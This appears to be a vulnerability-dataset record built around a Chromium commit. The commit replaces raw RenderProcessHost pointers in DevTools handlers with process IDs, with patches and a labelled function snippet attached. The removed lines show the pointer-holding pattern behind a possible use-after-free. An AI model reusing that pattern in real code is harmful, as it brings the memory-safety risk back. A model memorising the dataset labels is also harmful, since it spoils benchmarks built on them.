"https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/security_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -132,7 +132,7 @@ void SecurityHandler::AttachToRenderFrameHost() {\n DidChangeVisibleSecurityState();\n }\n \n-void SecurityHandler::SetRenderer(RenderProcessHost* process_host,\n+void SecurityHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n host_ = frame_host;\n if (enabled_ && host_)"}<_**next**_>{"sha": "2e90a92107c3da7565c9ea2dcaf13a1de913c20d", "filename": "content/browser/devtools/protocol/security_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/security_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/security_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/security_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -35,7 +35,7 @@ class SecurityHandler : public DevToolsDomainHandler,\n \n // DevToolsDomainHandler overrides\n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n \n // Security::Backend overrides."}<_**next**_>{"sha": "7962787ecd57170445625a5b3222fcdb0c13d277", "filename": "content/browser/devtools/protocol/service_worker_handler.cc", "status": "modified", "additions": 17, "deletions": 16, "changes": 33, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/service_worker_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/service_worker_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/service_worker_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -49,8 +49,6 @@ void StatusNoOpKeepingRegistration(\n ServiceWorkerStatusCode status) {\n }\n \n-void PushDeliveryNoOp(mojom::PushDeliveryStatus status) {}\n-\n const std::string GetVersionRunningStatusString(\n EmbeddedWorkerStatus running_status) {\n switch (running_status) {\n@@ -158,7 +156,8 @@ void DispatchSyncEventOnIO(scoped_refptr<ServiceWorkerContextWrapper> context,\n ServiceWorkerHandler::ServiceWorkerHandler()\n : DevToolsDomainHandler(ServiceWorker::Metainfo::domainName),\n enabled_(false),\n- process_(nullptr),\n+ browser_context_(nullptr),\n+ storage_partition_(nullptr),\n weak_factory_(this) {}\n \n ServiceWorkerHandler::~ServiceWorkerHandler() {\n@@ -169,19 +168,21 @@ void ServiceWorkerHandler::Wire(UberDispatcher* dispatcher) {\n ServiceWorker::Dispatcher::wire(dispatcher, this);\n }\n \n-void ServiceWorkerHandler::SetRenderer(RenderProcessHost* process_host,\n+void ServiceWorkerHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n- process_ = process_host;\n+ RenderProcessHost* process_host = RenderProcessHost::FromID(process_host_id);\n // Do not call UpdateHosts yet, wait for load to commit.\n if (!process_host) {\n ClearForceUpdate();\n context_ = nullptr;\n return;\n }\n- StoragePartition* partition = process_host->GetStoragePartition();\n- DCHECK(partition);\n+\n+ storage_partition_ =\n+ static_cast<StoragePartitionImpl*>(process_host->GetStoragePartition());\n+ DCHECK(storage_partition_);\n context_ = static_cast<ServiceWorkerContextWrapper*>(\n- partition->GetServiceWorkerContext());\n+ storage_partition_->GetServiceWorkerContext());\n }\n \n Response ServiceWorkerHandler::Enable() {\n@@ -310,17 +311,18 @@ Response ServiceWorkerHandler::DeliverPushMessage(\n const std::string& data) {\n if (!enabled_)\n return CreateDomainNotEnabledErrorResponse();\n- if (!process_)\n+ if (!browser_context_)\n return CreateContextErrorResponse();\n int64_t id = 0;\n if (!base::StringToInt64(registration_id, &id))\n return CreateInvalidVersionIdErrorResponse();\n PushEventPayload payload;\n if (data.size() > 0)\n payload.setData(data);\n- BrowserContext::DeliverPushMessage(process_->GetBrowserContext(),\n- GURL(origin), id, payload,\n- base::Bind(&PushDeliveryNoOp));\n+ BrowserContext::DeliverPushMessage(\n+ browser_context_, GURL(origin), id, payload,\n+ base::BindRepeating([](mojom::PushDeliveryStatus status) {}));\n+\n return Response::OK();\n }\n \n@@ -331,15 +333,14 @@ Response ServiceWorkerHandler::DispatchSyncEvent(\n bool last_chance) {\n if (!enabled_)\n return CreateDomainNotEnabledErrorResponse();\n- if (!process_)\n+ if (!storage_partition_)\n return CreateContextErrorResponse();\n int64_t id = 0;\n if (!base::StringToInt64(registration_id, &id))\n return CreateInvalidVersionIdErrorResponse();\n \n- StoragePartitionImpl* partition =\n- static_cast<StoragePartitionImpl*>(process_->GetStoragePartition());\n- BackgroundSyncContext* sync_context = partition->GetBackgroundSyncContext();\n+ BackgroundSyncContext* sync_context =\n+ storage_partition_->GetBackgroundSyncContext();\n \n BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,\n base::BindOnce(&DispatchSyncEventOnIO, context_,"}<_**next**_>{"sha": "ec9ab86d0ca6d1711688110b3851b00cf732424c", "filename": "content/browser/devtools/protocol/service_worker_handler.h", "status": "modified", "additions": 5, "deletions": 2, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/service_worker_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/service_worker_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/service_worker_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -20,9 +20,11 @@\n \n namespace content {\n \n+class BrowserContext;\n class RenderFrameHostImpl;\n class ServiceWorkerContextWatcher;\n class ServiceWorkerContextWrapper;\n+class StoragePartitionImpl;\n \n namespace protocol {\n \n@@ -33,7 +35,7 @@ class ServiceWorkerHandler : public DevToolsDomainHandler,\n ~ServiceWorkerHandler() override;\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n \n Response Enable() override;\n@@ -71,7 +73,8 @@ class ServiceWorkerHandler : public DevToolsDomainHandler,\n std::unique_ptr<ServiceWorker::Frontend> frontend_;\n bool enabled_;\n scoped_refptr<ServiceWorkerContextWatcher> context_watcher_;\n- RenderProcessHost* process_;\n+ BrowserContext* browser_context_;\n+ StoragePartitionImpl* storage_partition_;\n \n base::WeakPtrFactory<ServiceWorkerHandler> weak_factory_;\n "}<_**next**_>{"sha": "29eb1b7e8470dd66963eb937703665c36224603b", "filename": "content/browser/devtools/protocol/storage_handler.cc", "status": "modified", "additions": 19, "deletions": 20, "changes": 39, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/storage_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/storage_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/storage_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -239,7 +239,7 @@ class StorageHandler::IndexedDBObserver : IndexedDBContextImpl::Observer {\n \n StorageHandler::StorageHandler()\n : DevToolsDomainHandler(Storage::Metainfo::domainName),\n- process_(nullptr),\n+ storage_partition_(nullptr),\n weak_ptr_factory_(this) {}\n \n StorageHandler::~StorageHandler() {\n@@ -252,9 +252,10 @@ void StorageHandler::Wire(UberDispatcher* dispatcher) {\n Storage::Dispatcher::wire(dispatcher, this);\n }\n \n-void StorageHandler::SetRenderer(RenderProcessHost* process_host,\n+void StorageHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n- process_ = process_host;\n+ RenderProcessHost* process = RenderProcessHost::FromID(process_host_id);\n+ storage_partition_ = process ? process->GetStoragePartition() : nullptr;\n }\n \n Response StorageHandler::Disable() {\n@@ -276,10 +277,9 @@ void StorageHandler::ClearDataForOrigin(\n const std::string& origin,\n const std::string& storage_types,\n std::unique_ptr<ClearDataForOriginCallback> callback) {\n- if (!process_)\n+ if (!storage_partition_)\n return callback->sendFailure(Response::InternalError());\n \n- StoragePartition* partition = process_->GetStoragePartition();\n std::vector<std::string> types = base::SplitString(\n storage_types, \",\", base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);\n std::unordered_set<std::string> set(types.begin(), types.end());\n@@ -310,18 +310,18 @@ void StorageHandler::ClearDataForOrigin(\n Response::InvalidParams(\"No valid storage type specified\"));\n }\n \n- partition->ClearData(remove_mask,\n- StoragePartition::QUOTA_MANAGED_STORAGE_MASK_ALL,\n- GURL(origin), StoragePartition::OriginMatcherFunction(),\n- base::Time(), base::Time::Max(),\n- base::BindOnce(&ClearDataForOriginCallback::sendSuccess,\n- std::move(callback)));\n+ storage_partition_->ClearData(\n+ remove_mask, StoragePartition::QUOTA_MANAGED_STORAGE_MASK_ALL,\n+ GURL(origin), StoragePartition::OriginMatcherFunction(), base::Time(),\n+ base::Time::Max(),\n+ base::BindOnce(&ClearDataForOriginCallback::sendSuccess,\n+ std::move(callback)));\n }\n \n void StorageHandler::GetUsageAndQuota(\n const String& origin,\n std::unique_ptr<GetUsageAndQuotaCallback> callback) {\n- if (!process_)\n+ if (!storage_partition_)\n return callback->sendFailure(Response::InternalError());\n \n GURL origin_url(origin);\n@@ -330,16 +330,15 @@ void StorageHandler::GetUsageAndQuota(\n Response::Error(origin + \" is not a valid URL\"));\n }\n \n- storage::QuotaManager* manager =\n- process_->GetStoragePartition()->GetQuotaManager();\n+ storage::QuotaManager* manager = storage_partition_->GetQuotaManager();\n BrowserThread::PostTask(\n BrowserThread::IO, FROM_HERE,\n base::BindOnce(&GetUsageAndQuotaOnIOThread, base::RetainedRef(manager),\n origin_url, base::Passed(std::move(callback))));\n }\n \n Response StorageHandler::TrackCacheStorageForOrigin(const std::string& origin) {\n- if (!process_)\n+ if (!storage_partition_)\n return Response::InternalError();\n \n GURL origin_url(origin);\n@@ -356,7 +355,7 @@ Response StorageHandler::TrackCacheStorageForOrigin(const std::string& origin) {\n \n Response StorageHandler::UntrackCacheStorageForOrigin(\n const std::string& origin) {\n- if (!process_)\n+ if (!storage_partition_)\n return Response::InternalError();\n \n GURL origin_url(origin);\n@@ -372,7 +371,7 @@ Response StorageHandler::UntrackCacheStorageForOrigin(\n }\n \n Response StorageHandler::TrackIndexedDBForOrigin(const std::string& origin) {\n- if (!process_)\n+ if (!storage_partition_)\n return Response::InternalError();\n \n GURL origin_url(origin);\n@@ -387,7 +386,7 @@ Response StorageHandler::TrackIndexedDBForOrigin(const std::string& origin) {\n }\n \n Response StorageHandler::UntrackIndexedDBForOrigin(const std::string& origin) {\n- if (!process_)\n+ if (!storage_partition_)\n return Response::InternalError();\n \n GURL origin_url(origin);\n@@ -408,7 +407,7 @@ StorageHandler::GetCacheStorageObserver() {\n cache_storage_observer_ = std::make_unique<CacheStorageObserver>(\n weak_ptr_factory_.GetWeakPtr(),\n static_cast<CacheStorageContextImpl*>(\n- process_->GetStoragePartition()->GetCacheStorageContext()));\n+ storage_partition_->GetCacheStorageContext()));\n }\n return cache_storage_observer_.get();\n }\n@@ -419,7 +418,7 @@ StorageHandler::IndexedDBObserver* StorageHandler::GetIndexedDBObserver() {\n indexed_db_observer_ = std::make_unique<IndexedDBObserver>(\n weak_ptr_factory_.GetWeakPtr(),\n static_cast<IndexedDBContextImpl*>(\n- process_->GetStoragePartition()->GetIndexedDBContext()));\n+ storage_partition_->GetIndexedDBContext()));\n }\n return indexed_db_observer_.get();\n }"}<_**next**_>{"sha": "d9df1114abd5cc45184cf8dae5279ef513d8caae", "filename": "content/browser/devtools/protocol/storage_handler.h", "status": "modified", "additions": 4, "deletions": 2, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/storage_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/storage_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/storage_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -17,6 +17,8 @@\n #include \"content/browser/indexed_db/indexed_db_context_impl.h\"\n \n namespace content {\n+class StoragePartition;\n+\n namespace protocol {\n \n class StorageHandler : public DevToolsDomainHandler,\n@@ -27,7 +29,7 @@ class StorageHandler : public DevToolsDomainHandler,\n \n // content::protocol::DevToolsDomainHandler\n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n Response Disable() override;\n \n@@ -64,7 +66,7 @@ class StorageHandler : public DevToolsDomainHandler,\n const base::string16& object_store_name);\n \n std::unique_ptr<Storage::Frontend> frontend_;\n- RenderProcessHost* process_;\n+ StoragePartition* storage_partition_;\n std::unique_ptr<CacheStorageObserver> cache_storage_observer_;\n std::unique_ptr<IndexedDBObserver> indexed_db_observer_;\n "}<_**next**_>{"sha": "bdcbf7f1b5e1ed4dbf2e0c94b7085f955ad386a8", "filename": "content/browser/devtools/protocol/target_handler.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/target_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/target_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/target_handler.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -208,7 +208,7 @@ void TargetHandler::Wire(UberDispatcher* dispatcher) {\n Target::Dispatcher::wire(dispatcher, this);\n }\n \n-void TargetHandler::SetRenderer(RenderProcessHost* process_host,\n+void TargetHandler::SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) {\n auto_attacher_.SetRenderFrameHost(frame_host);\n }"}<_**next**_>{"sha": "21adcd6a529a1a8954eae9b89c5763e4f497c8e1", "filename": "content/browser/devtools/protocol/target_handler.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/target_handler.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/protocol/target_handler.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/protocol/target_handler.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -34,7 +34,7 @@ class TargetHandler : public DevToolsDomainHandler,\n static std::vector<TargetHandler*> ForAgentHost(DevToolsAgentHostImpl* host);\n \n void Wire(UberDispatcher* dispatcher) override;\n- void SetRenderer(RenderProcessHost* process_host,\n+ void SetRenderer(int process_host_id,\n RenderFrameHostImpl* frame_host) override;\n Response Disable() override;\n "}<_**next**_>{"sha": "f8ac27bd19d02515ad6000bb5a2f4183650833c4", "filename": "content/browser/devtools/render_frame_devtools_agent_host.cc", "status": "modified", "additions": 3, "deletions": 2, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/render_frame_devtools_agent_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/render_frame_devtools_agent_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/render_frame_devtools_agent_host.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -292,7 +292,8 @@ WebContents* RenderFrameDevToolsAgentHost::GetWebContents() {\n }\n \n void RenderFrameDevToolsAgentHost::AttachSession(DevToolsSession* session) {\n- session->SetRenderer(frame_host_ ? frame_host_->GetProcess() : nullptr,\n+ session->SetRenderer(frame_host_ ? frame_host_->GetProcess()->GetID()\n+ : ChildProcessHost::kInvalidUniqueID,\n frame_host_);\n \n protocol::EmulationHandler* emulation_handler =\n@@ -441,7 +442,7 @@ void RenderFrameDevToolsAgentHost::UpdateFrameHost(\n if (IsAttached()) {\n GrantPolicy();\n for (DevToolsSession* session : sessions()) {\n- session->SetRenderer(frame_host ? frame_host->GetProcess() : nullptr,\n+ session->SetRenderer(frame_host ? frame_host->GetProcess()->GetID() : -1,\n frame_host);\n }\n MaybeReattachToRenderFrame();"}<_**next**_>{"sha": "3cea99c268ce18f3c6aecf5adc8cda42a722e7eb", "filename": "content/browser/devtools/service_worker_devtools_agent_host.cc", "status": "modified", "additions": 4, "deletions": 11, "changes": 15, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/service_worker_devtools_agent_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/service_worker_devtools_agent_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/service_worker_devtools_agent_host.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -122,10 +122,7 @@ void ServiceWorkerDevToolsAgentHost::AttachSession(DevToolsSession* session) {\n base::BindOnce(&SetDevToolsAttachedOnIO,\n context_weak_, version_id_, true));\n }\n- // RenderProcessHost should not be null here, but even if it _is_ null,\n- // session does not depend on the process to do messaging.\n- session->SetRenderer(RenderProcessHost::FromID(worker_process_id_),\n- nullptr);\n+ session->SetRenderer(worker_process_id_, nullptr);\n session->AttachToAgent(agent_ptr_);\n }\n session->AddHandler(base::WrapUnique(new protocol::InspectorHandler()));\n@@ -159,11 +156,8 @@ void ServiceWorkerDevToolsAgentHost::WorkerReadyForInspection(\n context_weak_, version_id_, true));\n }\n \n- // RenderProcessHost should not be null here, but even if it _is_ null,\n- // session does not depend on the process to do messaging.\n- RenderProcessHost* host = RenderProcessHost::FromID(worker_process_id_);\n for (DevToolsSession* session : sessions()) {\n- session->SetRenderer(host, nullptr);\n+ session->SetRenderer(worker_process_id_, nullptr);\n session->AttachToAgent(agent_ptr_);\n }\n }\n@@ -174,9 +168,8 @@ void ServiceWorkerDevToolsAgentHost::WorkerRestarted(int worker_process_id,\n state_ = WORKER_NOT_READY;\n worker_process_id_ = worker_process_id;\n worker_route_id_ = worker_route_id;\n- RenderProcessHost* host = RenderProcessHost::FromID(worker_process_id_);\n for (DevToolsSession* session : sessions())\n- session->SetRenderer(host, nullptr);\n+ session->SetRenderer(worker_process_id_, nullptr);\n }\n \n void ServiceWorkerDevToolsAgentHost::WorkerDestroyed() {\n@@ -186,7 +179,7 @@ void ServiceWorkerDevToolsAgentHost::WorkerDestroyed() {\n for (auto* inspector : protocol::InspectorHandler::ForAgentHost(this))\n inspector->TargetCrashed();\n for (DevToolsSession* session : sessions())\n- session->SetRenderer(nullptr, nullptr);\n+ session->SetRenderer(-1, nullptr);\n }\n \n } // namespace content"}<_**next**_>{"sha": "3fb53685c6bee69a1c1bb70d5e6cace892f7fdc5", "filename": "content/browser/devtools/shared_worker_devtools_agent_host.cc", "status": "modified", "additions": 7, "deletions": 9, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/shared_worker_devtools_agent_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/shared_worker_devtools_agent_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/shared_worker_devtools_agent_host.cc?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -34,7 +34,10 @@ SharedWorkerDevToolsAgentHost::~SharedWorkerDevToolsAgentHost() {\n }\n \n BrowserContext* SharedWorkerDevToolsAgentHost::GetBrowserContext() {\n- RenderProcessHost* rph = GetProcess();\n+ if (!worker_host_)\n+ return nullptr;\n+ RenderProcessHost* rph =\n+ RenderProcessHost::FromID(worker_host_->process_id());\n return rph ? rph->GetBrowserContext() : nullptr;\n }\n \n@@ -67,7 +70,7 @@ void SharedWorkerDevToolsAgentHost::AttachSession(DevToolsSession* session) {\n session->AddHandler(std::make_unique<protocol::InspectorHandler>());\n session->AddHandler(std::make_unique<protocol::NetworkHandler>(GetId()));\n session->AddHandler(std::make_unique<protocol::SchemaHandler>());\n- session->SetRenderer(GetProcess(), nullptr);\n+ session->SetRenderer(worker_host_ ? worker_host_->process_id() : -1, nullptr);\n if (state_ == WORKER_READY)\n session->AttachToAgent(EnsureAgent());\n }\n@@ -101,7 +104,7 @@ void SharedWorkerDevToolsAgentHost::WorkerRestarted(\n state_ = WORKER_NOT_READY;\n worker_host_ = worker_host;\n for (DevToolsSession* session : sessions())\n- session->SetRenderer(GetProcess(), nullptr);\n+ session->SetRenderer(worker_host_->process_id(), nullptr);\n }\n \n void SharedWorkerDevToolsAgentHost::WorkerDestroyed() {\n@@ -111,16 +114,11 @@ void SharedWorkerDevToolsAgentHost::WorkerDestroyed() {\n for (auto* inspector : protocol::InspectorHandler::ForAgentHost(this))\n inspector->TargetCrashed();\n for (DevToolsSession* session : sessions())\n- session->SetRenderer(nullptr, nullptr);\n+ session->SetRenderer(-1, nullptr);\n worker_host_ = nullptr;\n agent_ptr_.reset();\n }\n \n-RenderProcessHost* SharedWorkerDevToolsAgentHost::GetProcess() {\n- return worker_host_ ? RenderProcessHost::FromID(worker_host_->process_id())\n- : nullptr;\n-}\n-\n const blink::mojom::DevToolsAgentAssociatedPtr&\n SharedWorkerDevToolsAgentHost::EnsureAgent() {\n DCHECK_EQ(WORKER_READY, state_);"}<_**next**_>{"sha": "15c5de57b5975d3318e3b38f54215f65f8e451e9", "filename": "content/browser/devtools/shared_worker_devtools_agent_host.h", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/shared_worker_devtools_agent_host.h", "raw_url": "https://github.com/chromium/chromium/raw/3c8e4852477d5b1e2da877808c998dc57db9460f/content/browser/devtools/shared_worker_devtools_agent_host.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/devtools/shared_worker_devtools_agent_host.h?ref=3c8e4852477d5b1e2da877808c998dc57db9460f", "patch": "@@ -14,7 +14,6 @@ namespace content {\n \n class SharedWorkerInstance;\n class SharedWorkerHost;\n-class RenderProcessHost;\n \n class SharedWorkerDevToolsAgentHost : public DevToolsAgentHostImpl {\n public:\n@@ -50,7 +49,6 @@ class SharedWorkerDevToolsAgentHost : public DevToolsAgentHostImpl {\n \n private:\n ~SharedWorkerDevToolsAgentHost() override;\n- RenderProcessHost* GetProcess();\n const blink::mojom::DevToolsAgentAssociatedPtr& EnsureAgent();\n \n enum WorkerState {"}
|
void PushDeliveryNoOp(mojom::PushDeliveryStatus status) {}
|
void PushDeliveryNoOp(mojom::PushDeliveryStatus status) {}
|
C
| null | null | null |
@@ -49,8 +49,6 @@ void StatusNoOpKeepingRegistration(
ServiceWorkerStatusCode status) {
}
-void PushDeliveryNoOp(mojom::PushDeliveryStatus status) {}
-
const std::string GetVersionRunningStatusString(
EmbeddedWorkerStatus running_status) {
switch (running_status) {
@@ -158,7 +156,8 @@ void DispatchSyncEventOnIO(scoped_refptr<ServiceWorkerContextWrapper> context,
ServiceWorkerHandler::ServiceWorkerHandler()
: DevToolsDomainHandler(ServiceWorker::Metainfo::domainName),
enabled_(false),
- process_(nullptr),
+ browser_context_(nullptr),
+ storage_partition_(nullptr),
weak_factory_(this) {}
ServiceWorkerHandler::~ServiceWorkerHandler() {
@@ -169,19 +168,21 @@ void ServiceWorkerHandler::Wire(UberDispatcher* dispatcher) {
ServiceWorker::Dispatcher::wire(dispatcher, this);
}
-void ServiceWorkerHandler::SetRenderer(RenderProcessHost* process_host,
+void ServiceWorkerHandler::SetRenderer(int process_host_id,
RenderFrameHostImpl* frame_host) {
- process_ = process_host;
+ RenderProcessHost* process_host = RenderProcessHost::FromID(process_host_id);
// Do not call UpdateHosts yet, wait for load to commit.
if (!process_host) {
ClearForceUpdate();
context_ = nullptr;
return;
}
- StoragePartition* partition = process_host->GetStoragePartition();
- DCHECK(partition);
+
+ storage_partition_ =
+ static_cast<StoragePartitionImpl*>(process_host->GetStoragePartition());
+ DCHECK(storage_partition_);
context_ = static_cast<ServiceWorkerContextWrapper*>(
- partition->GetServiceWorkerContext());
+ storage_partition_->GetServiceWorkerContext());
}
Response ServiceWorkerHandler::Enable() {
@@ -310,17 +311,18 @@ Response ServiceWorkerHandler::DeliverPushMessage(
const std::string& data) {
if (!enabled_)
return CreateDomainNotEnabledErrorResponse();
- if (!process_)
+ if (!browser_context_)
return CreateContextErrorResponse();
int64_t id = 0;
if (!base::StringToInt64(registration_id, &id))
return CreateInvalidVersionIdErrorResponse();
PushEventPayload payload;
if (data.size() > 0)
payload.setData(data);
- BrowserContext::DeliverPushMessage(process_->GetBrowserContext(),
- GURL(origin), id, payload,
- base::Bind(&PushDeliveryNoOp));
+ BrowserContext::DeliverPushMessage(
+ browser_context_, GURL(origin), id, payload,
+ base::BindRepeating([](mojom::PushDeliveryStatus status) {}));
+
return Response::OK();
}
@@ -331,15 +333,14 @@ Response ServiceWorkerHandler::DispatchSyncEvent(
bool last_chance) {
if (!enabled_)
return CreateDomainNotEnabledErrorResponse();
- if (!process_)
+ if (!storage_partition_)
return CreateContextErrorResponse();
int64_t id = 0;
if (!base::StringToInt64(registration_id, &id))
return CreateInvalidVersionIdErrorResponse();
- StoragePartitionImpl* partition =
- static_cast<StoragePartitionImpl*>(process_->GetStoragePartition());
- BackgroundSyncContext* sync_context = partition->GetBackgroundSyncContext();
+ BackgroundSyncContext* sync_context =
+ storage_partition_->GetBackgroundSyncContext();
BrowserThread::PostTask(BrowserThread::IO, FROM_HERE,
base::BindOnce(&DispatchSyncEventOnIO, context_,
|
Chrome
|
3c8e4852477d5b1e2da877808c998dc57db9460f
|
488e9ef26e7e265f627b3db349ad4440b4575e93
| 0
|
void PushDeliveryNoOp(mojom::PushDeliveryStatus status) {}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.